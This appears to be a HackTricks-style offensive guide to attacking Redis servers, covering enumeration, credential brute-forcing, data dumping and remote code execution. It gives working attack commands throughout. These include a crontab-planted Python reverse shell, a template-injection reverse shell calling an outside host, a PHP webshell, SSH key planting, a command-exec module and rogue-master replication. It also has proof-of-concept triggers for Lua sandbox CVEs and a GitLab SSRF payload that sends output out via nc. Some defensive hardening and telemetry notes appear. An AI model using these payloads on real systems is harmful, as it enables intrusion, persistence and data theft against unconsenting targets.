6379 - Pentesting Redis
Basic Information
Redis is an open-source, in-memory data-structure store used as a database, cache, streaming engine, and message broker.[20]
Redis uses the RESP protocol over TCP and can also be configured with TLS.[21][22]
Default port: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Automatic Enumeration
Some automated tools that can help obtain information from a Redis instance:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Manual Enumeration
Banner
RESP is a readable request-response protocol, so commands can be sent over a raw socket and the returned values inspected directly. Redis can also run over TLS, which is common in managed deployments.[21][22]
In a regular Redis instance you can just connect using nc or you could also use redis-cli:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
The first command you could try is info. It may return output with information of the Redis instance or something like the following is returned:
-NOAUTH Authentication required.
In this last case, this means that you need valid credentials to access the Redis instance.
Redis Authentication
An unmodified Redis configuration exposes a default user with no password, but protected mode and network binding are intended to prevent unsafe remote access. Redis can be configured for either a password on the default user or username-and-password ACL authentication.[23]
It is possible to set a password for the default user in redis.conf with the parameter requirepass or temporarily until the service restarts by connecting to it and running: config set requirepass p@ss$12E45.
In Redis 6+, extra users are usually created with ACLs (ACL SETUSER ...) or loaded from an aclfile. The parameter masteruser is for replica-to-master authentication, not for normal client logins.[12]
[!TIP] If only password is configured the username used is usually “default”.
Also, note that there is no way to find externally if Redis was configured with only password or username+password until you test valid credentials.
In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it.
In case you found valid credentials you need to authenticate the session after establishing the connection with one of the following commands:
AUTH <password> # Password-only / default user
AUTH <username> <password> # ACL user
HELLO 3 AUTH <username> <password> # Authenticate and switch to RESP3 in one step
Valid credentials will be responded with: +OK. If you get NOPERM after authenticating, the creds are valid but the ACL user is restricted.
Authenticated enumeration
If the Redis server permits anonymous connections or if you have obtained valid credentials, you can initiate the enumeration process for the service using the following commands:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
ACL & capability reconnaissance (Redis 6+)
In modern Redis the most important question after login is usually what your current user can actually do. Many real environments expose a low-privilege ACL user that can read data but cannot run CONFIG, MODULE, EVAL, FUNCTION, or REPLICAOF. Check that before investing time in a full RCE chain:[12]
ACL WHOAMI
ACL USERS
ACL GETUSER <USER>
ACL CAT @dangerous
COMMAND INFO CONFIG EVAL FUNCTION FCALL REPLICAOF MODULE
MODULE LIST
FUNCTION LIST
FUNCTION LIST WITHCODE
Useful things to infer from that output:
ACL WHOAMItells you which user the current session actually authenticated as.ACL GETUSERshows command categories, key patterns, pub/sub patterns and, in Redis 7+, selectors that may restrict commands to specific key patterns.COMMAND INFOis useful whenACL GETUSERis denied: it still helps you see whether a command exists, was renamed, or was completely removed.FUNCTION LIST WITHCODEmay leak persisted Lua libraries that contain business logic, secrets, or attacker-added persistence.
The official command reference and the LZone cheat sheet contain additional Redis commands.[21][31]
Note that the Redis commands of an instance can be renamed or removed in the redis.conf file. For example this line will remove the command FLUSHDB:
rename-command FLUSHDB ""
Review Redis’s security guidance before exposing the service outside a trusted management network.[23]
You can also monitor in real time the Redis commands executed with the command monitor or get the top 25 slowest queries with slowlog get 25
The LZone cheat sheet provides additional enumeration examples.[31]
Dumping Database
Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info inside the “Keyspace” chunk:

Or you can just get all the keyspaces (databases) with:
INFO keyspace
In that example the database 0 and 1 are being used. Database 0 contains 4 keys and database 1 contains 1. By default Redis will use database 0. In order to dump for example database 1 you need to do:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
In case you get the following error -WRONGTYPE Operation against a key holding the wrong kind of value while running GET <KEY> it’s because the key may be something else than a string or an integer and requires a special operator to display it.
To know the type of the key, use the TYPE command, example below for list and hash keys.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
You can also dump data with the npm redis-dump package or the Python redis-utils package.[24][25]
Redis RCE
Interactive Shell
redis-rogue-server automates a replication/module-loading chain to obtain an interactive or reverse shell on compatible Redis deployments (the project documents Redis 4.x/5.x targets).[26]
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
Modern hardening caveat (Redis 7+)
The classic CONFIG SET dir/dbfilename + SAVE tricks and MODULE LOAD chains still work in older Redis and are common in labs/CTFs, but newer Redis ships with extra hardening:[13]
- Configs that control where Redis writes files (for example
diranddbfilename) are protected/immutable by default. MODULE LOADis disabled by default unlessenable-module-commandwas explicitly enabled inredis.conf.- These protections may also be set to
local, meaning the primitive is only reachable from loopback / Unix socket clients.
So, after authentication, test the exact primitive you need first:
CONFIG GET dir dbfilename appendonly
CONFIG SET dir /tmp
MODULE LIST
MODULE LOAD /tmp/mymodule.so
If direct remote access cannot use those primitives but an SSRF can talk to 127.0.0.1:6379 (or you can reach a local Unix socket), a local-only policy may still become exploitable from that pivot.
PHP Webshell
Info from here. You must know the path of the Web site folder:[14]
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
If the web shell fails because the generated database file contains incompatible bytes, back up the database, test with an empty database, and restore the data afterward.
Template Webshell
Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.
For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:[15]
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
[!WARNING] Several template engines cache templates in memory, so overwriting a file may not trigger execution. Automatic reload may be enabled in development environments; otherwise the service must reload or restart before the overwritten template is used. In an explicitly authorized test, forcing that restart may demonstrate the chain, but it is disruptive and may cause a denial of service; do not do so without specific permission.[15]
SSH
Example from this archived guide[16]
Please be aware config get dir result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of config get dir you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authorized_keys file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
-
Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsa -
Write the public key to a file :
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt -
Import the file into redis :
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key -
Save the public key to the authorized_keys file on redis server:
root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK -
Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
The Redis-Server-Exploit project automates this historical technique.[27]
Additionally, system users can be tested by attempting CONFIG SET dir /home/USER; if the Redis process can write there, an authorized_keys file can be targeted. redis-rce-ssh automates username testing and key placement.[28]
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
The same arbitrary-file-write primitive has also been abused to install cryptocurrency miners.[29]
Load Redis Module
-
Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.[17]
-
Then you need some way to upload the compiled module
-
Load the uploaded module at runtime with
MODULE LOAD /path/to/mymodule.so -
List loaded modules to check it was correctly loaded:
MODULE LIST -
Execute commands:
127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 -
Unload the module whenever you want:
MODULE UNLOAD mymodule
LUA sandbox bypass
Redis uses EVAL to execute Lua code in a sandbox. Historical releases exposed dofile, but supported Redis releases restrict scripts to specific Lua packages and deny filesystem, network, and other system calls outside the scripting API. A different sandbox escape or memory-corruption vulnerability may still lead to native command execution; the historical research also describes denial-of-service primitives.[18][32]
An important packaging-specific Lua escape is:
- CVE-2022-0543, which affected Debian’s Redis package because the Lua library remained loadable; a public PoC is available in reference 30.[30]
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption, and cross-user code execution.[1][5] These techniques apply when:
- Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable)
- Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20
Tip: If you are new to Lua sandboxing tricks, check this page for general techniques:
Patch-level context:
- Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Affected when Lua scripting is enabled and the above versions are not applied
CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)
- Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.[2][5][6]
- Trigger strategy:
- Create memory pressure with huge strings to encourage GC activity
- Explicitly run GC while a large source chunk is being compiled
- Compile a very large Lua script in a loop until GC aligns with parsing
Minimal EVAL harness to reproduce crashes
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Notes:
- Multiple attempts may be required to align GC with luaY_parser. A crash indicates the UAF was hit.
- From exploitation to RCE requires memory grooming and native code pivoting beyond the Redis Lua sandbox.
CVE-2025-46817 — Integer overflow in unpack (lbaselib.c: luaB_unpack)
- Root cause: The count
n = e - i + 1is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.[3][7] - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Expect the server to try returning an enormous number of values and eventually crash or OOM.
CVE-2025-46818 — Cross-user privilege escalation via basic type metatables
- Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.[4][8]
- Example (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- Impact: Cross-user code execution inside the Lua sandbox using the victim’s Redis permissions. Useful for lateral movement/priv-esc within Redis ACL contexts.
Redis Functions + Replication Reentrancy UAF (DarkReplica / CVE-2026-23631)
A different Redis Lua attack surface exists in the functions engine (FUNCTION LOAD / FCALL), not only in classic EVAL. In vulnerable releases, a long-running function can time out, enter the slow-script path, and temporarily call processEventsWhileBlocked(). Redis blocks most normal client commands during this state, but replication I/O from the master is still processed.[9]
If you can authenticate, run Redis functions, and repoint the instance to an attacker-controlled master, a malicious FULLRESYNC can free the active functions Lua engine while execution later resumes inside it:
- Make the target a replica with
SLAVEOF/REPLICAOF - Disable
replica-read-only/slave-read-onlyif needed soFCALLstill works - Register and run a long-lived function (for example a coroutine that reaches
while 1 do end) - Wait for the default 5 second slow-script timeout
- From the malicious master, send a
FULLRESYNCcarryingRDB_OPCODE_FUNCTION2records - During RDB load, Redis clears the current functions context and frees the old Lua engine
- Control returns to the still-running function/coroutine with a freed
lua_State(UAF)
Minimal trigger shape:[10]
redis-cli -h <target> -a <pass> FUNCTION LOAD "#!lua name=mylib\nredis.register_function('hoax', function() while 1 do end end)"
redis-cli -h <target> -a <pass> REPLICAOF <attacker_ip> <attacker_port>
redis-cli -h <target> -a <pass> CONFIG SET replica-read-only no
redis-cli -h <target> -a <pass> FCALL hoax 0
# After the timeout, answer as the master and force FULLRESYNC
Why this is interesting: the post-free allocations are also attacker-controlled. RDB_OPCODE_FUNCTION2 records are executed immediately by rdbFunctionLoad(), so malicious function libraries can act as a precise post-free Lua heap spray right after the old engine is destroyed.
Exploitation notes:
tostring()on non-string/non-number Lua values leaks heap pointers (tables, functions, coroutines).- Coroutines are valuable because each one has its own
lua_State; a freed coroutine state can stay reclaimable even if the new global engine reuses the old main state. - Fake Lua
Tableobjects can turnTable->arrayinto an arbitraryTValueread/write primitive once the attacker stabilizes execution in a clean coroutine. - A practical RCE pivot is to overwrite
lua_State->l_G->frealloc(Lua allocator callback) after recovering arbitrary read/write.
Version context: fixed on May 5, 2026 in 7.2.14, 7.4.9, 8.2.6, 8.4.3, and 8.6.3.[11] This path is post-auth, but especially relevant when dangerous admin commands are exposed to weak ACL users.
Good telemetry / review points:
FUNCTION LOAD,FCALL,FUNCTION KILL,REPLICAOF/SLAVEOF, andCONFIG SET replica-read-only no- Slow-script log entries immediately followed by replica synchronization /
FULLRESYNC - Unexpected function libraries arriving from replication
Primary/Replica Replication
Redis replication propagates a primary’s data to its replicas. If an attacker can issue REPLICAOF/SLAVEOF, the target can be pointed at an attacker-controlled primary; older module-loading chains use that control to transfer a malicious database or module. The following commands preserve the legacy terminology used by older Redis versions:
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF talking to Redis
If you can send clear text request to Redis, you can communicate with it as Redis will read line by line the request and just respond with errors to the lines it doesn’t understand:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Therefore, if you find a SSRF vuln in a website and you can control some headers (maybe with a CRLF vuln) or POST parameters, you will be able to send arbitrary commands to Redis. This is especially useful when the target only enabled dangerous Redis primitives for local clients: an SSRF to 127.0.0.1:6379 may recover CONFIG SET, MODULE LOAD, or other actions that are blocked from your direct remote connection.
Example: Gitlab SSRF + CRLF to Shell
In Gitlab11.4.7 were discovered a SSRF vulnerability and a CRLF. The SSRF vulnerability was in the import project from URL functionality when creating a new project and allowed to access arbitrary IPs in the form [0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the CRLF vuln was exploited just adding %0D%0A characters to the URL.
Therefore, it was possible to abuse these vulnerabilities to talk to the Redis instance that manages queues from gitlab and abuse those queues to obtain code execution. The Redis queue abuse payload is:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
And the URL encode request abusing SSRF and CRLF to execute a whoami and send back the output via nc is:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
For some reason (as for the author of https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ where this info was took from) the exploitation worked with the git scheme and not with the http scheme.[19]
References
- [1] Redis Security Advisory: CVE-2025-49844
- [2] NVD: CVE-2025-49844
- [3] NVD: CVE-2025-46817
- [4] NVD: CVE-2025-46818
- [5] Wiz analysis of Redis RCE (CVE-2025-49844)
- [6] PoC: CVE-2025-49844 — Lua parser UAF
- [7] PoC: CVE-2025-46817 — unpack integer overflow
- [8] PoC: CVE-2025-46818 — basic-type metatable abuse
- [9] ZeroDay.Cloud — DarkReplica (CVE-2026-23631): Redis Use-After-Free Leads to Post-Auth RCE
- [10] DarkReplica exploit repository
- [11] Redis releases (7.2.14 / 7.4.9 and later security fixes)
- [12] Redis ACL documentation
- [13] Redis configuration file example (
enable-protected-configs/enable-module-command) - [14] Redis Hacking Tips (reverse-tcp.xyz, via Wayback Machine)
- [15] Cyber Apocalypse CTF 2022: Red Island Writeup (NETEYE Blog)
- [16] OSCP Preparation Guide - Enumeration (Adithyan AK, archived)
- [17] RedisModules-ExecuteCommand (GitHub)
- [18] Trying to hack Redis via HTTP requests (agarri.fr)
- [19] GitLab 11.4.7 Remote Code Execution - Real World CTF 2018 (LiveOverflow)
- [20] Redis documentation: About Redis
- [21] Redis command reference
- [22] Redis documentation: TLS
- [23] Redis documentation: Security
- [24] npm: redis-dump
- [25] PyPI: redis-utils
- [26] n0b0dyCN/redis-rogue-server
- [27] Avinash-acid/Redis-Server-Exploit
- [28] captain-woof/redis-rce-ssh
- [29] Redis arbitrary-write miner abuse discussion
- [30] aodsec/CVE-2022-0543 PoC
- [31] LZone Redis Cheat Sheet
- [32] Redis Lua API reference: sandbox context